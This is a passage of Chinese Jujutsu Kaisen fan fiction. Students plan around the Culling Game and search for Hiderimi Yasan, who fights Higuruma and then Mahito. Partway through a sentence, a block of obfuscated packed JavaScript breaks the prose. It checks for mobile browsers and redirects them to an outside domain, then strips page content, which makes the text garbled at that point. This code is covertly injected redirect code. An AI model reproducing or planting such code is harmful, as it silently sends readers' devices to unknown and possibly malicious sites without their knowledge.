钉崎野蔷薇摆摆手,坐上了辅助监督的车。 她走后,虎杖悠仁露出一副失落狗狗的模样:“这样的话我们三人组就凑不齐了诶伏黑。不过钉崎她很担心祖母吧?京都校的各位前辈也是。” 担心? 这个词语触发了伏黑惠的回忆。他终于想起日照弥山这个名字他究竟在哪里听到过了! “诶?哪里哪里?”虎杖悠仁禅院真希将伏黑惠团团围住。 “别围这么近啊!是夏油老师,”伏黑惠往后退了两步,留出了谈话的空间,“那是我小时候的事了,应该是在上小学的时候吧?” “那也太久远了,惠你记忆力真好啊。” “......别打岔了真希前辈,”伏黑惠抬眼,学着当时自己听到的语气将那句话说了出来,“日照弥山,你想去死吗?” “哈?这叫什么话?这是那个刘海眯眯眼说的?” 乙骨忧太回想了一下夏油杰的样貌:刘海眯眯眼...... 伏黑惠也叹了一口气:“那天晚上夏油老师忽然来找五条老师,我为什么也在......好像是因为家长会还是什么的,总之他们以为我睡着了。夏油老师在打电话,至于五条老师......” 年幼的海胆挪动到整间公寓唯一散发着柔和光亮的书房,五条悟没有戴墨镜,他罕见地坐在单人沙发上拉长了双腿仰着头看天花板,而夏油杰则举着手机听对面的人讲话。 伏黑惠不确定他们有没有发现自己,两个刚刚晋升特级的新晋最强咒术师,其中一个还拥有六眼,现在的伏黑惠更倾向于他们发现了他,但无暇顾及、甚至没有时间编一个谎话哄他去睡觉。 然后年幼的伏黑惠就听到了夏油杰压抑着暴怒的威胁:“日照弥山,你是想去死吗?” 五条悟的头还搭在沙发上没有动,伸出手来要电话:“杰,电话给我,老子要亲自跟他说。” 但夏油杰没有理会挚友的要求,他的愤怒是伏黑惠从未见过的沉重,像是混满了砂石和杂质的泥浆,压得人喘不过气来。 电话那头的人说了什么,夏油杰似乎是怒极反笑,整个人好似暴雨雷云中酝酿的惊雷:“选择?对我们来说那根本没有意义!别干这种事!” 黑发青年看了一眼沙发上的挚友,转开头耐着性子继续说:“我和悟马上出发,这件事我们当面说......” 回忆到此告一段落。 “......然后呢?最重要的结尾呢!?”阅片无数、对于电影情节分析独有一套自己理解的虎杖悠仁当下不满地叫了出来。 伏黑惠无奈:“再怎么说也是小学时候的事了,还记得这么多已经谢天谢地,这也不是全部,他们中间应该还说了别的什么。” 从薨星宫出来之后一直保持的乙骨忧太叫住了众人,有些心虚地举手说:“那个......关于日照先生,我还知道一些其他的事情......” 禅院真希一看乙骨忧太这幅表情就觉得火大:“哈?那你刚刚......又是跟那个眼罩混蛋有关?” 乙骨忧太在祈本里香解咒成功后曾去海外待过一段时间,临走时五条悟说给他找了一个非常厉害的家伙,当时他还没有意识到问题的严重性,哪怕看到夏油杰在他离开高专前还在不停地打电话和发消息,他也没升起任何警惕心,就那么单纯地被扔到了人生地不熟的国外,见到了传说中“非常厉害的家伙”。 总之下次如果不是五条悟亲口评价“非常靠谱”的人,他绝对不会再轻易以貌取人了! “我不太了解他的过去,”乙骨忧太挠头,“虽然日照先生不会站在我们的对立面,但想让他帮助我们也是不简单的任务。而且那个人,行事非常自我,把他当成一个中立boss来对待比较好......还有那个人非常讨厌被别人命令,有的时候做事根本没有逻辑。” 其他人:你这不是很了解嘛...... 虎杖悠仁:“那我们就将解封狱门疆的事情交给他吗?总感觉那个人不是很靠谱的样子。” “当然不行啊!”禅院真希敲了他的头:“听惠的说法,夏油老师他们和他很熟,但这样的人在咒术界没有任何传闻,九十九小姐也不了解他,这就很可疑嘛!不能把解封的事情完全交给他,至少我们得确保他没有和羂索联手才行。” 乙骨忧太:“我赞成禅院同学,如果日照先生死了,他的身体又被羂索夺走,那羂索也许就可以用他的术式改变天元大人的状态,再利用【咒灵操术】就可以控制天元大人了。虽然达成这样的情况需要的条件有些苛刻,但对方是不会什么准备都没有的。找到日照先生和解封狱门疆需要排在同等重要的程度上,更何况狱门疆·里就在他的手上,无论如何我们都得去找他。” “所以我们现在要做的事,第一是寻找日照弥山拿到狱门疆·里,第二是拿到黑绳或是找到可以消灭一切术式的古代术师天使,第三是找到封印了【无下限咒术】的人手咒物,第四是拿到足够的点数增加死灭洄游的规则......将津美纪从死灭洄游中救出来。”伏黑惠细细捋了一遍。 虎杖悠仁撇着嘴努力理解,胀相抱臂站在一旁。他肯定是要跟在弟弟身旁的,悠仁想要干什么他都无条件支持。 “现在距离津美纪小姐参加死灭洄游还有16天左右,”乙骨忧太说,“时间并不充裕,我们先来确认每个人的要做的事情吧。” 他们仔细研究了死灭洄游的规则,也尝试性地试探小金对于可增加规则的认可度。红线在于“维持游戏”,可增加的规则不能与这一条相悖。 为了能将伏黑津美纪从死灭洄游中救出,他们商量出了一个大概的计划。 最重要的两条规则是“转让得分”与“脱离游戏”。虽然不知道是谁增加了“可以自由出入结界”的规则,但歪打正着帮了他们大忙。省去这一点,还有一个就是联络的问题。 “有机械丸在,这一点也可以放心了吧。” 乙骨忧太摸着下巴:“也不能完全依赖机械丸,如果我们的分数还有剩余,最好增添恢复结界内通讯手段的规则。机械丸的术式类似于电话转接台,他只能将听到的情况复述给其他人,虽然有三轮同学和辅助监督帮忙,效率依旧不算高。如果是特殊频道还好,平常联络还是得依靠结界外的辅助监督们才行。” 也就是说他们至少得拿到300分,为了以防万一,分数储备得越多越好。 他们需要强力的同盟。 虎杖悠仁、伏黑惠和胀相前往栃木县寻找三年级的学长秤金次和星绮罗罗,乙骨忧太前往东京以外的结界赚取分数、寻找日照弥山和狱门疆。禅院真希准备先回一趟禅院本家,西宫桃之前和她联络说禅院真依回家后就失联了。 “七海海,你要跟我们一起吗?”虎杖悠仁问七海建人的想法。 七海建人推了推眼镜,脸部的线条突然紧绷了起来。 虎杖悠仁蹿到伏黑惠的身边悄悄跟他说:“来了!七海海又要说什么劳动是狗屎的一样的名言了!” 七海建人:“我现在依旧认为那句话没什么不对......虎杖同学,非常抱歉。” “为什么要道歉?” “......老实说,我对国内的未来持悲观态度。涩谷事变之后咒灵的存在已经公之于众,就算有人能够平定死灭洄游,未来咒术界与一般社会的融合必然会发生矛盾和争执,这与我本人的生存理念相悖。我会去海外寻找黑绳,结果会通过机械丸告知你们的。找到了就让冥小姐的弟弟送回来,之后我就要去马来西亚定居了。” 虎杖悠仁点头,一副很懂他的样子:“也是,七海海也到了该退休的年龄了!” 现在离开也好,就这样找一个安静的地方平凡地过完后半生,这才是正确的死亡啊! 说完他又想起五条悟的事:“那五条老师......” 七海建人:“我个人的论断是不用太担心他,之前在特殊频道里还听到他抱怨楼下的甜品店断电了,甜点都坏了之类的。” 伏黑惠疑惑地打断他:“从刚才开始你们说的‘特殊频道’是?” 乙骨忧太看起来比他还惊讶:“诶?就是那个......” 他突然愣住了,开始冒冷汗。五条老师不会还没把伏黑同学拉进“群聊”吧?因为大家默认伏黑同学是自己人所以毫无顾忌地谈论特殊频道的事,虽然本质上就是这样,但没想到伏黑同学居然还不知道!? 乙骨忧太心中冒出了一个没心没肺笑着的Q版五条悟,疯狂转动大脑想着怎么跟伏黑惠解释这个问题。当时五条悟的确说过“一年级的孩子们还太小啦,忧太你们也都太小了,怎么能剥夺学生们的青春呢”之类的话。 伏黑惠重重叹了口气:“我就知道是这样!” 仗着自己是最强就随心所欲,哪怕是偶尔也好,多少正视一下他们不想被丢下的心啊! 乙骨忧太拍了拍他的肩膀,这位比虎杖悠仁和伏黑惠经历了更多的大前辈完全看不出仅仅一年前的懦弱和无力,他安慰着因为被“排除在外”而感到不安的人:“我想对五条老师来说,有些事是必须‘自己去做’才行的。当然,我认为也有一些事必须‘由我们来做’。” 咒术界高层的事,还是先不和他们说比较好,那里的“自己人”老师也已经安排人送走了,等老师出来他们就可以一次性解决总监部,乙骨忧太想道。 伏黑惠妥协了:“我知道了。那分数就先拜托乙骨前辈了,我和虎杖找到秤前辈之后也会看情况进入结界。首要目标是增加可以转让分数的规则,之后再尝试增加可以脱离死灭洄游的规则。” 乙骨忧太替伏黑惠和虎杖悠仁联系机械丸开启了特殊频道的进入权限,回道:“我明白。晚点见,伏黑同学、虎杖同学。” “晚点见!乙骨前辈!!”虎杖悠仁和他告别。 七海建人帮忙联系了辅助监督,他们准备明早启程前往栃木县。伏黑惠和虎杖悠仁一起回了宿舍,伏黑惠发现了同伴的游离:“怎么了,你又在想什么?” 虎杖悠仁挠了挠那头粉毛:“该怎么说呢。” “总感觉,像是在做梦一样。明明好像是末日来临,还有死灭洄游这种游戏在举行,我却有一种’原来大家都在啊‘的感觉。” “笨蛋,大家本来就都在啊?夏油老师肯定也没事的,五条老师就不说了。” “啊!说到五条老师,总感觉那些大人们有什么秘密关系,就像女生们有自己的群聊一样,让人完全摸不着头脑啊!七海海和乙骨前辈肯定都知道!” 伏黑惠扶额:“还真是简单易懂的比喻。你刚进咒术界没多久,但也应该多多少少能察觉到一点吧?” 虎杖悠仁慢慢说道:“嗯......派别?学生们看不太出来,但辅助监督们那里会很明显地出现两种态度。要么是伊地知先生和新田小姐那样的,另外的人似乎不怎么喜欢我。” “这就是了。咒术界的关系远比表面上的复杂得多,想要明哲保身的,忠于御三家的,左右逢迎的,还有不管不顾打击五条老师和夏油老师的。以及,因为各种原因站在‘我们’这边的人。” 虽然缓慢且艰难,但五条悟和夏油杰的的确确为收归自己羽翼下的人们撑起了一处庇护所。不仅是拥有才能咒术师,还有很多没有天赋平平的辅助监督,这些受到恩惠的人或明或暗,分散在各个地方。 伏黑惠也是其中一个。虽然那人拒绝他帮忙时候的嘴脸很欠揍,搓着他的海胆头笑嘻嘻地没个正经:“惠你还太小啦,这种事情就交给靠谱的大人吧!” “这样啊。伏黑。” “......干什么?” “我可能,见过那个日照弥山。” “哈!?” —— 再一次破掉日车宽见的领域,日照没有留手。岩手县的天才律师已经在第一次使用术式的时候学会了通过观察咒力的流向来判断对手的攻击来此何处,然而眼前这个人包裹全身的咒力非常的平均,直到攻击打到身体上时,咒力才会出现细微的波动。 术式具象化出来的式神“审判者”盘踞在日车宽见的身后,他手中不断闪现着可以随意改变大小的木槌,企图阻挡日照的攻击,但无论他如何抵挡,日照的拳头总是先他一步打到日车宽见的身体上。 日车宽见被一拳砸进了一旁的空调外机中,吐掉嘴里咬破口腔壁渗出的血液,他问道:“为什么不直接杀了我?” 尽管这么想有点自我意识过剩,但他不认为对方有留自己一命的理由。 “什么为什么?理由啊、我想想......”日照蹲在不远处,居然真的一板一眼地思考了起来。 日车宽见感受着体内咒力的流失,计算着再一次展开领域的可能性。他的术式似乎是特殊的,天然自带领域的特性让他比其他术师更早地领悟到了咒术的顶点。 因为并不具备必杀效果,日车宽见的领域增加了“不可以伤害他人”的要求,对双方均有效。 可是,也正是因为只有展开了【诛伏赐死】审判对手才能进行没收和处刑的先决条件,一旦对手持有让他开不出来领域或对抗领域的方法,日车宽见将陷于束手无策的状态。 比如现在,这个单眼青年,哦不,按照对方的说法,日车宽见推测他遮起来的那只眼睛并没有失明,而是拥有什么“特殊力量”。总之这个人不知道用什么方法,两次瓦解了他的领域,而且第二次他甚至没有来得及站上检察官席就被拉了下去。 不过,对方似乎没有杀意,居然真的在认真地想如何回答自己的问题。 “看得出来,法官先生应该是业界精英的类型,性格应该还不错吧?” 日车宽见面无表情道:“我是律师。” 日照:“啊、抱歉抱歉,总之!” “毫无疑问,你是个天才。不是说你在普通人世界的才能,而是作为咒术师的才能。没有人教导,仅凭自己就摸索出了结界术和强化术,这可是了不起的天赋啊!术式也很有趣,我还是第一次见到自带领域的术式呢!” 在日车宽见眼中,世人视他为“天才”的能力,只是吸收必要知识、输出必要知识的过程而已。他的性格也说不上好,只是勉强能与他人和谐相处罢了。他是律师,或许他经手的案件当事人会感激涕零,又或是对他怒目而视、责怪他的无能,总之,他只是一个律师。 老话不是说,法律面前人人平等,正因如此正义女神才蒙盖了双眼,以示自己的裁决公正。世人大多会为了远祸自保而装聋作哑,日车宽见却想在这种时候睁大双眼。不是为了什么拯救弱者之类的理由,他只是为了他自己。毕竟日车宽见从小就对于自己感到奇怪的事情无法置之不理。 对生命毫无敬意的人,日车宽见见过太多太多。他们漠视生命、漠视律法,内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137737|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心明明弱小又丑陋,却敢在审判席上大放厥词,嘲笑受害者的惨状。更令他无法接受的是,这种人,最终却会因为各种原因逃离法律的制裁。 他不满意。这算什么? 台上的那些法官和检察官,你们难道看不到被告的罪状吗?你们看不到那丑陋的人心吗? “你在想什么呢?咒力有点失控哦。” 日照的声音将日车宽见拉回了自己的挨揍现场。 精英律师的西装已经满是灰尘和破损,他突然想就这么穿着衣服躺在浴缸里泡澡,感觉一定很不错。 日照双手抱膝,看向从刚才开始就一直沉默着的日车宽见:“说说你的事吧?就当打发时间了,我认识的人里还没有当律师的呢。” “我可是律师,和我说话30分钟要收5000元的咨询费。”日车宽见无所谓地说。 对面的人哽了一下,有些迟钝地问:“是这样的吗?死灭洄游里分数可能更值钱一点。” 不正常。这人绝对脑袋有问题,而且从刚才开始他就一直说个不停,既不动手也不离开,他究竟有什么目的?日车宽见这么想,也这么问了。 日照一屁股坐在楼房的边缘,撑着下巴:“当然是在等新的泳者过来。附近也只剩你一个了,我暂时还不想离开池袋。你有什么想问的吗?干等着太无聊了。” 日车宽见缓了一会,问:“总则里的术式剥夺,你有见过吗?” 这个问题激起了日照的好奇心:“没有。再快也得等到16天后才能见到吧?术式剥夺,在规则里应该意味着死亡。恐怕是管理者通过某种方式破坏泳者的大脑,类似咒印之类的。” 居然真的有问必答。日车宽见试探着问:“那你是怎么破坏我的领域的?” “是我的术式,不如说像你这样术式自带领域、或者说依靠领域才能造成伤害的术师,我可能是像天敌一样的哦。” 在一问一答中,日照再次体会到了日车宽见作为咒术师的才能有多么闪耀。对方像一块尘封已久的璞石,仅仅是磨开一角就令他人感叹他的才华无限。 日车宽见觉得自己逐渐摸清了眼前这个看起来才二十出头的青年的性子。随心所欲,不会为了虚无的愧疚感而背负上不属于自己的责任,看着不爽的家伙几乎都在眼前被杀掉了,但如果心情好也会放过他们。做事不遵循律法道德,心里似乎有一条扭曲的行事基准。 在死灭洄游开始前这家伙一直生活在山里吗?这种法外狂徒怎么在社会里生活下去的啊? 问到“你不觉得人心都是弱小而丑陋的吗”,对方回答“不知道,从来没想过这种事”;问“随心所欲杀掉自己看着不爽的人是什么感觉”,他回答“当然是很爽了,不然你干嘛杀他?”。 问一句,答一句,日照消磨着时间。察觉到有人靠近,他愉快地站起身。 “问答时间结束了,再见,律师先生。” 日车宽见直视日照的眼睛,没有动,任由对方的手搭到自己的肩膀上:“我还不想死,有什么方法可以活下来吗?用你说的‘束缚’也可以。” 他只是对方用来打发时间的“玩具”,一旦要开始工作,“玩具”自然也就要被销毁,换取对方想要的分数。 “哈哈,真坦率啊律师先生。‘束缚’与其说是制约与誓约,本质还是看双方谁更擅长玩文字游戏罢了,”日照拿开了手,随口说道,“那你就跟我一起来吧。” —— 丽美拿着日照交给她的包裹,站在西武百货大楼的顶层等着日照回来。 “丽美,这个绝对不能弄丢,”日照又将从大田和田岛那里找到的枪支交给了她,并嘱咐道,“有任何人来的话,就对着他开枪。” 所以丽美乖乖抱着裹着四方形东西的包裹,拿着手枪等在顶层。 开了枪的话,日照先生就会回来保护我! “哎呀,只有小姐你一个人吗?”黏腻的、散发着令人毛骨悚然的阴冷咒力的手臂攀上了丽美的肩膀。 “啊、啊啊——!!”受到惊吓的丽美转身开枪。 “枪?那种东西对咒灵......” 浅蓝长发、脸上带着缝合线的人形咒灵话没说完,就察觉到了没被他放在心上的手枪内忽然出现了一股异质的咒力。 轰——!! 真人感觉到腹部受击的地方宛如被施加了咒力的大摆锤打中,几乎是拦腰折叠的人形咒灵在子弹爆炸的冲击下飞出了二十几米远,没能来得及使用术式变身减小伤害,真人正面实打实地吃下了这一发奇怪的攻击。 “噗哈——这是什么攻击?好有意思,我还是第一次碰到这样的攻击!” 不是普通的枪击,那一发子弹的射出蕴含着咒力。是提前储存进子弹中的咒力吗?威力堪比准1级咒灵咒力放出的一击。 居然真的、真的有人来了!!丽美被真人的气息压迫地双腿不断打颤,最要命的是她看到日照给她的手枪正在逐渐崩解。 “不、不要,不要啊,你不是说过会保护我的吗!?” 手中的枪已经完全崩解,两手空空的丽美崩溃大喊道,试图催动术式利用蝎尾样的发辫攻击逐渐接近的真人。 “哈哈,你在喊谁呢?”真人只是微微抬手,连咒力都没有用上就轻易挡开了丽美的攻击。 它一边走一边想:太弱了,为什么这个人类身上会有狱门疆的气息? 缝合脸的咒灵恶劣地玩弄人心:“太可怜了,被主人抛弃了吗?诱饵小姐?” 丽美一边向后退,一边下意识反驳道:“什、什么?日照先生!他说过会爱我、会保护我的!!” 真人舔舔嘴唇,恶劣地笑道:“是吗?他真的那么说过吗?那只是......” 他的手骤然伸长,橡胶一样柔软的手臂如同企图绞死猎物的巨蟒缠绕住了丽美的脖颈,欣赏着窒息前的挣扎:“那只是你的幻想吧?” 一道快如闪电的斩击从左侧袭来,扑克牌钉在地上,斩断了真人的手臂。 失去支撑的丽美跌落在地疯狂地咳嗽着。 “丽美。” 因为缺氧和缠颈而脸颊绛红的人抬起头,日照就站在她的身边,说出了她最想听的话:“我会爱你、会保护你。” 漆黑的瞳仁斜向下,俯视着跪坐在地抬着头的丽美,日照用不容置疑的语气说:“所以,在我需要你的时候,你会为我做自己能做到的一切,对吗?” 真人在瞬间就恢复了手臂的伤口,它嗤笑一声,看着这个突然出现在战场中的人。是他吧?那位小姐的“主人”。看起来也是擅长玩弄人心的人。 丽美突然明悟。因为日照希望,所以“那个”就会成立。不需要她的同意,只是因为日照想要。或许在旁人看来,她只是一个可怜的、受人欺骗的、愚蠢的女人,因为几句甜言蜜语就急不可耐掏光全部家底的赌徒。但一个只有丽美能够感觉到的“联系”诞生了。 她沉醉于这样自由的强大,将此身、此心全部交给他,来一场一生一次的庞大赌局。她一定是疯了。 顶楼的风很大,真人叉着腰,饶有兴致地看着对面的人。啊、这么一看...... “哦?哈哈哈哈哈!我说呢,原来就是你啊!”真人突然捧腹大笑,慢了一步赶到顶层的日车宽见听着这天真如同孩童的笑声却觉得非常渗人。最原始的童真,往往意味着最纯粹的恶意。 日照将手伸入网球袋,取出了一把胁差。 他把网球袋连带着刀鞘一起扔到一旁,端详着真人周身的咒力:“竟然真的敢出现在我眼前啊,咒灵。” 缝合线、人形的咒灵。 特级咒灵——真人。 微弱但锋利无比的咒力注入咒具,日照冲它扬了扬下巴:“真让人不爽。” 相似的面容轮廓,但比起这个青年来说,羂索占据的躯壳要更加年轻,咒力也更加庞大。而最大的区别就是眼睛。 这人的单眼是黑色的,而那具躯壳的眼睛却是澄净到近乎纯白的浅蓝色。 “虽说日照家很早就从五条家分出去了,几百年也没有诞生继承相传术式的孩子,但这孩子和他的同胞兄弟却不同,”真人还记得他们在东京地铁地下5层站台分别前,羂索摸着那双眼睛说的话,“这是伪六眼,只继承了真货的部分能力,而且视力低下。至于这孩子,他是在真正的六眼、也就是五条悟诞生之前被奉为神子的......可怜的冒牌货而已。” 哈哈,真悲惨啊。 “——你也是,让人很不爽啊,日照弥山!!” 7. 游魂 “你说,是先有肉|体,还是先有灵魂呢?” 真人的术式【无为转变】可以随意摆弄被它双手触碰到的对象的灵魂,通过改变对手和自己的灵魂形状来达到变更肉|体形态的目的。 它将一条手臂变成了镰刀的模样,却没有贸然发起进攻。诞生自人类相互憎恶、恐惧中的咒灵坚信无论何时,灵魂永远都是优先于肉|体的,因此只要努力保持灵魂的形态,它的肉身就不会死去。可是羂索的术式只要占据了肉|体,就可以获得肉身原本拥有的记忆,这样的情况似乎与真人相信的灵魂优先论相悖。 它还记得日照星海躯体的特殊性。 “真人,肉身与灵魂,究竟哪个才是更优先的呢?我开始觉得你的说法也很有趣了,”在更换身体之后,羂索突然兴致盎然地向真人说道,“日照星海的肉|体并不存在‘记忆’,考虑到他的术式,我认为这不是值得特别在意的事情。但是,现在嘛......事情好像变得更有趣了。” 在咒术战中,很重要的一点就是双方掌握的情报量。也许是被隐藏起来的术式效果,又或者是被当作后手的特殊咒具,掌握更多对手的情报、隐藏更多己方底牌的人,更容易锁定胜局。因此,能够看穿术式的六眼天然地获得了更多的制胜因素。 哪怕只是一只“伪物”。 真人看着日照被遮住的右眼。如果从情报方面来看,它无疑落于绝对的下风——羂索以没能继承日照星海肉|体上的记忆为由,没有告知它们任何情报,因此它们对这个一直被掩盖在双生兄弟光芒之下的“弱者”什么都不知道。 那么首先,假设对方右眼失明,先从右侧的死角发动攻击试试看吧! 日照握紧了手中的胁差。特级咒灵真人,2018年9月首次目击到它的出现,1级咒术师七海建人提交了相关报告。五条悟也特意向仍在海外的日照说过出现了能够与人类正常交流的特级咒灵的事情。 七海建人的那份报告日照看过,他敏锐地捕捉到了真人最可怕的地方。一个看起来才刚诞生不久的咒灵,在经历过几场战斗后居然领悟了领域展开,这种爆发式的成长让真人变得极为危险。 日照不会忽略真人参与了涩谷死斗的情况。这也就意味着,现在的真人要远比报告提交时更加难以预料。 眼罩下的浅色瞳仁紧缩,人形咒灵身上涌现的邪恶咒力和唤醒中的术式在日照眼中一览无余。 日车宽见拽起丽美迅速离开了顶楼。 “等、等下,日照先生还在那里!还有大叔你是谁啊!?”丽美不愿意远离,不配合地被日车宽见拽着越过了大楼间的缝隙,来到了远处的平台上。 日车宽见依照丽美的意思松开了手,他本人则准备情况不对立刻离开这里。日照跟他说让他跟上来,他也不知道这算不算作为对方放过自己的“束缚”,这个女人似乎是青年的同伴,他只是顺手将她带离那个看上去马上就要开打的地方。 “怎么了,来聊聊天吧,我可是对你很感兴趣呢,日照弥山!” 浅蓝色头发的咒灵率先发动进攻,它在跑动的过程中突然伸长双臂,原本的镰刀像是挂在了鞭子上一样,它甩动着手臂向日照所在的地方切了过来。 要小心它的双手。日照竖刀将真人的手臂挡了下来,可是下一秒它的手臂就像是被无形的大手随意揉捏橡皮泥一样,尖端变回了手掌的模样,另外的部分伸长,水蛇似的蹿上了日照的胁差。 日照反应飞快地抽刀切断了靠近的手掌,不退反进,横刀于身侧向前大步突进,将水管粗细的手臂侧着切成了上下两半。 真人将左手变成了旋转的狼牙棒,对准了与它拉近了距离的日照。 忽地,日照突然停下了前进的脚步,向左侧跃出。 在他跳开后的瞬息,原来站立的地方从地板下生出了数十柄锋利的尖刀。 “嘻嘿,居然被发现了,真可惜。”真人收回从后背生出的“手臂”,它利用自身挡住了第三条“手臂”深入地面的景象试图从死角偷袭,可惜被日照躲开了。 这家伙,右眼其实没瞎吧? 真人蹲下身,被切开的手臂一瞬间就恢复了原貌,再次伸长。它以自身为轴,将手臂变成细薄的刀片,像是割草机一样贴着地面旋转着攻了过来。 “嘁。”日照轻轻啧道,收势向后退开。 根据五条悟提供给他的情报,普通的攻击无法对真人造成伤害。想要成为它的“天敌”,就必须利用可以直接攻击到灵魂的方法,所以日照在不断地试图靠近。可是真人的变化太过于多样,他也一时难以近身。 “你难道就只有这种程度吗?真无聊,比虎杖悠仁还要弱啊。我说,你把花御杀掉了吗?为什么狱门疆会在你手上啊?” 日照的不断退避让真人难得感到了无聊,无论它怎么进攻、无论它说了什么,那张脸上的表情一点都没变,所以它才提不起兴致来啊! 顶楼的地面因为真人恣意妄为的进攻而布满了裂痕,碎裂的墙砖摇摇欲坠。 日照与真人隔开了一段距离,挑起一个笑容:“你猜啊。” 真人看着日照熟悉的脸,忽然露出了不怀好意的表情。随后它脸上的肉开始蠕动,慢慢地变成了日照最熟悉的模样。 浅蓝色的眼睛里倒映着单眼的青年,那张嘴一开一合:“弥山,我回来了!” 对面人的动作僵硬了一瞬,日照似乎定在了原地,脸上的表情晦暗不明。真人见状暗自兴奋,恶意地愚弄他人让它体会到了无上扭曲的满足感。 它脚下的速度逐渐加快,最后大步奔跑了起来。想要看到那张脸上露出来的表情,想要看到那个人崩溃的样子,来让它好好欣赏一下吧!日照弥山!! 拳头上充盈的咒力染上了一丝漆黑的阴影。 来了!就是这个感觉——!! 踏下足以踩碎楼层的一步,真人打出了一记黑闪。裹挟着黑色咒力的拳头接近了青年的脑袋,进入状态的真人下意识地忽略了日照周身涌动出的咒力。 在0.000001秒的延迟之内,黑闪造成的打击和咒力相继爆发。 “黑闪——!!” 握紧的拳头砸到了一处坚硬的地方,在“日照星海”不解和茫然的眼神中,它的手臂从拳头开始突然炸开,像是被人放进了绞肉机里搅成了齑粉。 黑色的咒力尚未消散,黑红色的光亮映出了日照隐藏起来的、高高在上的嘲笑。他抬起拳头,对着“日照星海”的脸砸了下去。 “噗咳!” 发动扩张术式·立地金刚挡下了真人的黑闪,日照用无限接近于黑闪爆发的速度挥出了那一拳。 “哈哈,真爽!早就想给他来这一下了!!”日照大笑着又给它补了一拳。 真人的脸像是一个被球棍击打的水球一样瘪了下去,没办法再继续维持“日照星海”的模样。它的身体被巨大的力道贯在了地上,身下本就裂开的地面再也无法支撑顶层的打斗,塌陷出了一个大洞,真人和砖石一起砸了下去。 日照紧随其后。 掉进百货商场的真人修复了脸上的损伤,然而它却像是第一次被虎杖悠仁击中时那样,情不自禁地再度兴奋了起来。 鲜红的血液顺着下巴滴到了白色瓷砖上,真人向前跑去。 啊啊、原来是这样啊。它的瞳孔不断震颤着,脸上为了它发现的秘密而升腾起了热气。它现在,可是兴奋得不得了啊! 商场里仍旧保存着一些电力,顶层是一些服装店,真人转身躲进了人形模特中。 “别躲了,我看得见你。” 日照从天顶的洞口跳了下来,眼罩后的眼睛将百货大楼里所有蕴含咒力的物体一览无遗。 啪、啪。 真人鼓着掌,慢慢悠悠地走了出来。 它的异瞳里装载着满溢的恶意,笑着问:“你说,灵魂和肉|体哪个更优先呢?我坚信灵魂永远是最优选,而你的出现再次印证了这一点,日照弥山。我必须要感谢你!” 真人张开了嘴,四条小小的手臂出现在了口腔内壁。 —— “哈?你说见过他?什么时候?在哪里?” 伏黑惠伸手挡住了想要进门的虎杖悠仁。粉发的同期有些不确定地回忆道:“只是好像看到过长得和‘日照星海’很像的一个人,在涩谷。” 提到涩谷,两人都不由自主地沉默了下来。伏黑惠此时有些理解虎杖悠仁说的“好像做梦一样”究竟是什么感觉了。 “伏黑?伏黑?” “......你说在涩谷?什么时候?” 虎杖悠仁:“在宿傩和你的式神打的时候,好像是他叫醒了我。” 虎杖悠仁在混沌的血海里试图自杀来夺回身体的控制权,但无论他如何用尖锐的骨角刺穿喉咙、捅穿心脏,全部都无济于事。当他用双手扼住脖颈,跪在红色的水中感受着濒死的窒息时,忽然浑身一轻。 首先恢复的是视觉,映入琥珀色瞳仁的是满目疮痍的商店街,虎杖悠仁体会到了失重感。他在坠落的瞬间被人拉住,这才注意到挡在他身前、直面魔虚罗的黑发陌生人。 白色的高大式神正在逐渐消散,虎杖悠仁的目光随着魔虚罗头顶的□□一同坠落,从上至下将身前的人纳入眼中。 他浑身是血,裸露在外的皮肤几乎全部被无形的利刃反复切砍,面部更是留下了足以贯穿前后的斩痕。他拉住虎杖悠仁的时候,伤口正在飞速地愈合,片刻就只剩淋漓的鲜血残留在新生的皮肤上。 轮盘在地上融化成了一滩影子,青年身上的伤口也几乎完全愈合,但仍能看见丝丝缕缕仿佛丝线一样的疤痕。 耳朵的嗡鸣声逐渐减弱,虎杖悠仁宛如再一次诞生于这个世界,陌生又令他胆战心惊的声音争先恐后地涌入他的大脑。 在他被困在自己的身体里的时候,宿傩用他的身体摧毁了无数高楼大厦,脆弱的人体被斩击切断的声音伴随着火焰的燃烧声一窝蜂地占据了虎杖悠仁所有的心神,他胃部突然开始抽动,然而在激烈的战斗中他吃下的食物早已消化完毕,因此只是跪在地上呕出了一些酸水,咸涩的泪生理性地堆积在了眼眶中。 “你这家伙,究竟是什么人?那是你的术式?有点意思。”脸颊上突然出现了让虎杖悠仁无比憎恶的声音,他毫不留情地甩拳冲着自己的脸上砸去,没有留手。 “能站起来吗?” 青年开口的同时四下张望,似乎在寻找什么。 虎杖悠仁肿着脸不愿意说话,只是呆愣地盯着眼前齐齐被削断的楼宇。通红的火光加深了虎杖悠仁面部的阴影,让此刻的他显得格外阴郁与颓丧。 想要让他人能够拥有正确的死亡?看看眼前地狱般的景象,他还能摸着自己的心毫无悔意的再说出那句话吗? 他真心实意地希望自己现在就死,现在、立刻、马上!! “劝你先别急着去死,你还有要做的事情没有完成吧?” 青年找到了他想找的东西,单手拎着虎杖悠仁的兜帽将人从地上拽了起来:“我姑且再问你一句,能确定宿傩不会再出来了吧?” 青年现在全身都是被切割后留下的幻痛。尽管那些伤口在喷洒出鲜血后就立刻被反转术式修复,如今连一条细微的疤痕也看不见了,但直面世上最有压迫性的咒力、直面压倒性的邪恶,哪怕他已经竭尽全力瞬发术式也还是被宿傩的斩击切了个遍,这种不可抵挡的力量仍旧让他的心脏不停颤抖,求生的本能向他诉说着自己的恐惧。 还真的像是把自己塞进绞肉机里面绞成了肉馅。他不合时宜地想到了一个地狱笑话,但考虑到虎杖悠仁的心情,他没有说出来。 “呃,”青年忽然捂着脑袋跪倒在地,“该死的......” 他并没有看上去那样轻松悠闲,如果有人能够剖开他的脑壳,大概能够看见白花花的脑子像正在被炙烤的脑花一样滋滋冒着烟。不用看也知道,鼻血已经淌到了下巴,就像有人在他的鼻腔里开了一刀。 